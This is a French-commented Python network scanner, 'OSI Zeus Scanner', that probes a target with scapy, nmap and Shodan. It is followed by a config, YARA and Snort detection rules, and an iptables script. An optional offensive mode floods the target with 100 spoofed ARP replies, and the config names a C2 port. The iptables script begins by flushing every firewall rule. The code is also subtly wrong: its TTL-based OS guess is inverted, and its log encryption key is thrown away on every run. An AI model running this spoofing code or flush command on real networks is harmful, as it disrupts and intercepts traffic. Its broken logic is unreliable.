OSI Zeus Scanner v3.0 : Analyse Complète du Modèle OSI

<?xml version="1.0" encoding="UTF-8"?>
<code>
import argparse
import socket
import logging
import subprocess
import os
import json
from typing import Dict, Optional
from concurrent.futures import ThreadPoolExecutor
import time
import shodan
from scapy.all import ARP, Ether, send, sniff, IP, ICMP, sr1, TCP, sr, UDP, Dot1Q, LLDP
import nmap
import requests
from cryptography.fernet import Fernet

# Configuration logging
logging.basicConfig(filename='osi_zeus.log', level=logging.INFO, format='%(asctime)s %(levelname)s %(message)s')
logger = logging.getLogger(__name__)

# Chiffrement des logs
ENCRYPTION_KEY = Fernet.generate_key()
CIPHER = Fernet(ENCRYPTION_KEY)

# Charger config depuis JSON
CONFIG_FILE = "config.json"
DEFAULT_CONFIG = {
    "INTERFACE": "eth0",
    "SHODAN_API_KEY": "YOUR_SHODAN_API_KEY",
    "OUTPUT_DIR": "zeus_scan_results",
    "C2_PORT": 4444,
    "MAX_THREADS": 4,
    "PACKET_DELAY": 0.1
}

def load_config() -> Dict:
    """Charge la configuration depuis un fichier JSON.

    Returns:
        Dict: Configuration chargée.
    """
    try:
        if os.path.exists(CONFIG_FILE):
            with open(CONFIG_FILE, 'r') as f:
                return json.load(f)
        else:
            with open(CONFIG_FILE, 'w') as f:
                json.dump(DEFAULT_CONFIG, f, indent=4)
            return DEFAULT_CONFIG
    except Exception as e:
        logger.error(f"Erreur chargement config: {e}")
        return DEFAULT_CONFIG

CONFIG = load_config()

def encrypt_log(message: str) -> None:
    """Chiffre et enregistre un message dans le log.

    Args:
        message: Message à logger.
    """
    encrypted = CIPHER.encrypt(message.encode())
    with open('osi_zeus_encrypted.log', 'ab') as f:
        f.write(encrypted + b'\n')

def resolve_target(target: str) -> str:
    """Résout un domaine en IP.

    Args:
        target: Domaine ou IP cible.

    Returns:
        str: Adresse IP résolue.
    """
    try:
        ip = socket.gethostbyname(target)
        logger.info(f"Target résolue: {target} -> {ip}")
        encrypt_log(f"Target résolue: {target} -> {ip}")
        return ip
    except socket.gaierror as e:
        logger.error(f"Erreur résolution {target}: {e}")
        encrypt_log(f"Erreur résolution {target}: {e}")
        exit(1)

def shodan_hardware_scan(target_ip: str) -> None:
    """Utilise Shodan pour fingerprinting matériel.

    Args:
        target_ip: Adresse IP cible.
    """
    try:
        api = shodan.Shodan(CONFIG["SHODAN_API_KEY"])
        host = api.host(target_ip)
        print(f"\n[Shodan Fingerprinting] - Matériel/OS détecté:")
        print(f"OS: {host.get('os', 'Inconnu')}")
        print(f"Ports: {', '.join(str(p) for p in host.get('ports', []))}")
        print(f"Hostname: {', '.join(host.get('hostnames', ['Inconnu']))}")
        print(f"Device: {host.get('devicetype', 'Inconnu')}")
        logger.info(f"Shodan: OS={host.get('os')}, Ports={host.get('ports')}")
        encrypt_log(f"Shodan: OS={host.get('os')}, Device={host.get('devicetype')}")
    except shodan.APIError as e:
        print(f"Erreur Shodan: {e}")
        logger.error(f"Shodan error: {e}")
        encrypt_log(f"Shodan error: {e}")

def layer1_physical_scan(target_ip: str) -> Dict:
    """Analyse la couche physique via ICMP/TTL et VLAN.

    Args:
        target_ip: Adresse IP cible.

    Returns:
        Dict: TTL, latency, OS guess, VLAN info.
    """
    results = {}
    try:
        pkt = IP(dst=target_ip)/ICMP()
        resp = sr1(pkt, timeout=2, verbose=0)
        if resp:
            results['ttl'] = resp.ttl
            results['latency_ms'] = round(resp.time * 1000, 2)
            results['os_guess'] = "Windows" if resp.ttl <= 64 else "Linux/Unix"
            print(f"\n[Layer 1: Physique] - TTL: {results['ttl']}, Latency: {results['latency_ms']}ms, OS: {results['os_guess']}")
        else:
            print("\n[Layer 1: Physique] - Aucune réponse ICMP")
            results['status'] = "No response"

        # Détection VLAN (802.1Q)
        pkt_vlan = Ether()/Dot1Q(vlan=1)/IP(dst=target_ip)/ICMP()
        resp_vlan = sr1(pkt_vlan, timeout=2, verbose=0)
        if resp_vlan and resp_vlan.haslayer(Dot1Q):
            results['vlan'] = resp_vlan[Dot1Q].vlan
            print(f"VLAN détecté: {results['vlan']}")
        else:
            results['vlan'] = "Aucun VLAN"
            print("Aucun VLAN détecté")
        logger.info(f"Layer1: {results}")
        encrypt_log(f"Layer1: {results}")
    except Exception as e:
        print(f"Erreur couche 1: {e}")
        logger.error(f"Layer1 error: {e}")
        encrypt_log(f"Layer1 error: {e}")
    return results

def layer2_datalink_scan(target_ip: str, offensive: bool = False) -> Dict:
    """Analyse couche liaison via ARP et LLDP, avec MAC flood optionnel.

    Args:
        target_ip: Adresse IP cible.
        offensive: Activer payloads offensifs.

    Returns:
        Dict: MAC, vendor, VoIP info.
    """
    results = {}
    try:
        print("\n[Layer 2: Liaison] - Scan ARP...")
        arp_request = ARP(pdst=target_ip)
        broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_broadcast = broadcast/arp_request
        answered = sr(arp_broadcast, timeout=2, verbose=0)[0]
        if answered:
            for sent, received in answered:
                results['mac'] = received.hwsrc
                results['vendor'] = received.hwsrc[:8]
                print(f"MAC: {results['mac']} (Vendor: {results['vendor']})")
        else:
            results['mac'] = "Aucune réponse"
            print("Aucune MAC - Hors réseau local ?")

        # Détection VoIP (LLDP)
        print("Scan LLDP pour VoIP...")
        pkt_lldp = Ether(dst="01:80:c2:00:00:0e")/LLDP()
        resp_lldp = sr1(pkt_lldp, timeout=2, verbose=0)
        if resp_lldp and resp_lldp.haslayer(LLDP):
            results['voip'] = "VoIP détecté (LLDP/MED)"
            print(results['voip'])
        else:
            results['voip'] = "Aucun VoIP"
            print("Aucun appareil VoIP détecté")

        if offensive:
            print("Mode offensif: MAC Flood...")
            for i in range(100):
                spoof_arp = ARP(op=2, pdst=target_ip, psrc=f"192.168.1.{i+1}", hwsrc=f"00:11:22:33:44:{i:02x}")
                send(spoof_arp, verbose=0, iface=CONFIG["INTERFACE"])
                time.sleep(CONFIG["PACKET_DELAY"])
            results['mac_flood'] = "Exécuté"
            print("MAC Flood envoyé - Vérifiez switch.")
            logger.warning("Offensive: MAC Flood exécuté")
            encrypt_log("Offensive: MAC Flood exécuté")
        logger.info(f"Layer2: {results}")
        encrypt_log(f"Layer2: {results}")
    except Exception as e:
        print(f"Erreur couche 2: {e}")
        logger.error(f"Layer2 error: {e}")
        encrypt_log(f"Layer2 error: {e}")
    return results

def layer3_network_scan(target_ip: str) -> Dict:
    """Analyse couche réseau via traceroute.

    Args:
        target_ip: Adresse IP cible.

    Returns:
        Dict: Hops détectés.
    """
    results = {'hops': []}
    try:
        print("\n[Layer 3: Réseau] - Traceroute...")
        result = subprocess.check_output(["traceroute", "-n", target_ip], stderr=subprocess.STDOUT).decode()
        results['hops'] = result.split('\n')
        print(result)
        logger.info(f"Layer3: {result}")
        encrypt_log(f"Layer3: {result}")
    except subprocess.CalledProcessError as e:
        print("Traceroute échoué - ICMP alternatif.")
        for ttl in range(1, 30):
            pkt = IP(dst=target_ip, ttl=ttl)/ICMP()
            resp = sr1(pkt, timeout=1, verbose=0)
            if resp:
                results['hops'].append(f"Hop {ttl}: {resp.src}")
                print(f"Hop {ttl}: {resp.src}")
                if resp.src == target_ip:
                    break
        logger.info(f"Layer3: {results}")
        encrypt_log(f"Layer3: {results}")
    except Exception as e:
        print(f"Erreur couche 3: {e}")
        logger.error(f"Layer3 error: {e}")
        encrypt_log(f"Layer3 error: {e}")
    return results

def layer4_transport_scan(target_ip: str) -> Dict:
    """Analyse couche transport via TCP/UDP et probes IoT.

    Args:
        target_ip: Adresse IP cible.

    Returns:
        Dict: Ports et IoT info.
    """
    results = {'ports': {}, 'iot': {}}
    try:
        print("\n[Layer 4: Transport] - Scan ports...")
        nm = nmap.PortScanner()
        nm.scan(target_ip, '1-1024', '-sS -sU')
        for proto in nm[target_ip].all_protocols():
            results['ports'][proto] = nm[target_ip][proto]
            for port in nm[target_ip][proto].keys():
                state = nm[target_ip][proto][port]['state']
                print(f"Port {port}/{proto}: {state}")
        logger.info("Layer4: Ports scannés")
        encrypt_log("Layer4: Ports scannés")

        # IoT firmware probe
        print("Probe UDP pour firmwares IoT...")
        for port in [161, 1900]:
            pkt = IP(dst=target_ip)/UDP(dport=port)/b"GET / HTTP/1.1\r\nHost: test\r\n\r\n"
            resp = sr1(pkt, timeout=2, verbose=0)
            if resp:
                results['iot'][port] = "Réponse reçue"
                print(f"Port {port}/UDP: Réponse reçue (possible firmware IoT)")
            else:
                results['iot'][port] = "Aucune réponse"
        logger.info(f"Layer4: {results}")
        encrypt_log(f"Layer4: {results}")
    except nmap.PortScannerError as e:
        print(f"Erreur Nmap: {e}")
        logger.error(f"Nmap error: {e}")
        encrypt_log(f"Nmap error: {e}")
    except Exception as e:
        print(f"Erreur couche 4: {e}")
        logger.error(f"Layer4 error: {e}")
        encrypt_log(f"Layer4 error: {e}")
    return results

def layer567_session_presentation_application_scan(target_ip: str) -> Dict:
    """Analyse couches 5-7 via HTTP, DNS, API REST/GraphQL.

    Args:
        target_ip: Adresse IP cible.

    Returns:
        Dict: Résultats HTTP, DNS, API.
    """
    results = {'http': {}, 'dns': '', 'api': {}}
    try:
        print("\n[Layers 5-7: Session/Presentation/Application]...")
        try:
            response = requests.get(f"http://{target_ip}", timeout=5)
            results['http'] = {'status': response.status_code, 'server': response.headers.get('Server', 'Inconnu')}
            print(f"HTTP Status: {results['http']['status']} (Server: {results['http']['server']})")
        except requests.RequestException:
            results['http'] = {'status': 'Aucune réponse'}
            print("Pas de HTTP.")

        # DNS scan
        try:
            result = subprocess.check_output(["dig", "+short", target_ip], stderr=subprocess.STDOUT).decode()
            results['dns'] = result
            print(f"DNS: {result}")
        except subprocess.CalledProcessError:
            results['dns'] = "Aucun enregistrement"
            print("DNS scan échoué.")

        # API scan (REST/GraphQL)
        print("Scan API REST/GraphQL...")
        for endpoint in ["/api", "/graphql"]:
            try:
                response = requests.get(f"http://{target_ip}{endpoint}", timeout=5)
                results['api'][endpoint] = {'status': response.status_code, 'content_type': response.headers.get('Content-Type', 'Inconnu')}
                print(f"API {endpoint}: Status {response.status_code}, Content-Type: {results['api'][endpoint]['content_type']}")
            except requests.RequestException:
                results['api'][endpoint] = {'status': 'Aucune réponse'}
                print(f"API {endpoint}: Aucune réponse")
        logger.info(f"Layer5-7: {results}")
        encrypt_log(f"Layer5-7: {results}")
    except Exception as e:
        print(f"Erreur couches 5-7: {e}")
        logger.error(f"Layer5-7 error: {e}")
        encrypt_log(f"Layer5-7 error: {e}")
    return results

def main():
    parser = argparse.ArgumentParser(description="OSI Zeus Scanner v3.0 - Analyse OSI avec exploits éthiques.")
    parser.add_argument('--target', required=True, help='IP ou domaine cible')
    parser.add_argument('--offensive', action='store_true', help='Active payloads offensifs (lab isolé only !)')
    parser.add_argument('--interface', default=CONFIG["INTERFACE"], help='Interface réseau')
    parser.add_argument('--safe-mode', action='store_true', help='Désactive payloads offensifs')
    args = parser.parse_args()

    if args.safe_mode:
        args.offensive = False
        print("Mode sécurisé activé : payloads offensifs désactivés.")

    CONFIG["INTERFACE"] = args.interface
    os.makedirs(CONFIG["OUTPUT_DIR"], exist_ok=True)
    target_ip = resolve_target(args.target)

    max_threads = min(CONFIG["MAX_THREADS"], os.cpu_count() or 4)
    with ThreadPoolExecutor(max_workers=max_threads) as executor:
        executor.submit(shodan_hardware_scan, target_ip)
        executor.submit(layer1_physical_scan, target_ip)
        executor.submit(layer2_datalink_scan, target_ip, args.offensive)
        executor.submit(layer3_network_scan, target_ip)
        executor.submit(layer4_transport_scan, target_ip)
        executor.submit(layer567_session_presentation_application_scan, target_ip)

    print("\nScan OSI complet ! Logs dans osi_zeus.log, logs chiffrés dans osi_zeus_encrypted.log. 💖")

if __name__ == "__main__":
    if os.geteuid() != 0:
        print("Exécute en root pour scans matériels !")
        exit(1)
    main()
</code>

{
    "INTERFACE": "eth0",
    "SHODAN_API_KEY": "YOUR_SHODAN_API_KEY",
    "OUTPUT_DIR": "zeus_scan_results",
    "C2_PORT": 4444,
    "MAX_THREADS": 4,
    "PACKET_DELAY": 0.1
}
                

Pour vous fournir une clé API rendez-vous surshodan.io

rule OSI_Zeus_Scanner {
    meta:
        description = "Détecte OSI Zeus Scanner"
        author = "Platon-Y"
    strings:
        $s1 = "OSI Zeus Scanner"
        $s2 = "MAC Flood"
        $s3 = "Shodan Fingerprinting"
        $s4 = "VLAN détecté"
    condition:
        any of them
}

alert tcp any any -> any 4444 (msg:"OSI Zeus C2"; content:"zeus_scan"; sid:1000002;)
alert udp any any -> any 161 (msg:"OSI Zeus IoT Probe"; sid:1000003;)
alert udp any any -> any 1900 (msg:"OSI Zeus IoT Probe"; sid:1000004;)

#!/bin/bash
iptables -F
iptables -A INPUT -p tcp --dport 4444 -j DROP
iptables -A OUTPUT -p tcp --dport 4444 -j DROP
iptables -A INPUT -p udp --dport 161 -j DROP
iptables -A INPUT -p udp --dport 1900 -j DROP